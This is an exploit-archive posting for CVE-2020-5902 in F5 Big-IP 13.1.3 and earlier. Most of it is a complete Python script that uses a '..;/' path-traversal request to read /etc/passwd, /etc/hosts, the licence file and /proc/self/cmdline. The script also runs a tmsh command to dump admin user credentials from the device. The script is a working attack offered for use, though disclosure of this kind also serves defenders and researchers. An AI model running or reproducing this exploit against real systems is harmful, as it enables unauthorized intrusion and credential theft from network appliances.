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F5 Big-IP 13.1.3 Build 0.0.6 Local File Inclusion

F5 Big-IP 13.1.3 Build 0.0.6 Local File Inclusion
Posted Jul 27, 2020
Authored by Carlos E. Vieira

F5 Big-IP versions 13.1.3 Build 0.0.6 and below suffer from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
advisories | CVE-2020-5902
MD5 | b2e61907a263f05cda5368c904a3e106

F5 Big-IP 13.1.3 Build 0.0.6 Local File Inclusion

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# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
# Date: 2019-08-17
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: <= 13.1.3
# Tested on: BIG-IP 13.1.3 Build 0.0.6
# CVE : CVE-2020-5902

#!/usr/bin/env python

import requests
import sys
import time
import urllib3
import json
urllib3.disable_warnings()

global target

def checkTarget():

r = requests.head(target + "/tmui/login.jsp", verify=False)
if(r.status_code == 200):
return True
else:
return False

def checkVuln():

r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd", verify=False)
if(r.status_code == 200):

data = json.loads(r.text)
if(len(data['output']) > 0):
return True
else:
return False

else:
return False

def leakPasswd():
print("[+] Leaking /etc/passwd from server")
time.sleep(2)
exploit('/etc/passwd')


def leakHosts():
print("[+] Leaking /etc/hosts from server")
time.sleep(2)
exploit('/etc/hosts')

def leakLicence():

print("[+] Leaking /config/bigip.license from server")
time.sleep(2)
exploit('/config/bigip.license')

def leakAdmin():

print("[+] Leaking admin credentials from server")
time.sleep(2)
r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin", verify=False)
if(r.status_code == 200):

data = json.loads(r.text)
if(len(data['output']) > 0 ):
print(data['output'])
else:
print("[X] Admin credentials not found")
else:
print("[X] Fail to read file")


def exploit(file):

r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=" + file, verify=False)
if(r.status_code == 200):
data = json.loads(r.text)
print(data['output'])
else:
print("[X] Fail to read file")

def memoryLeak():
print("[!] Leaking tomcat process from server")
time.sleep(2)
r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline", verify=False)
if(r.status_code == 200):
data = json.loads(r.text)
if(len(data['output'])>0):
print("Command: " + data['output'])

def main(host):

print("[+] Check target...")
global target
target = "https://" + host

check = checkTarget()
if(check):
print("[~] Target is available")

vuln = checkVuln()
if(vuln):
print("[+] Target is vulnerable!")

time.sleep(1)
print("[~] Leak information from target!")
time.sleep(1)
leakPasswd()
leakHosts()
leakLicence()
leakAdmin()
memoryLeak()
else:
print("[X] Target is't vulnerable")

else:
print("[x] Target is unavailable")


if __name__ == "__main__":

if(len(sys.argv) < 2):
print("Use: python {} ip/dns".format(sys.argv[0]))
else:
host = sys.argv[1]
main(host)
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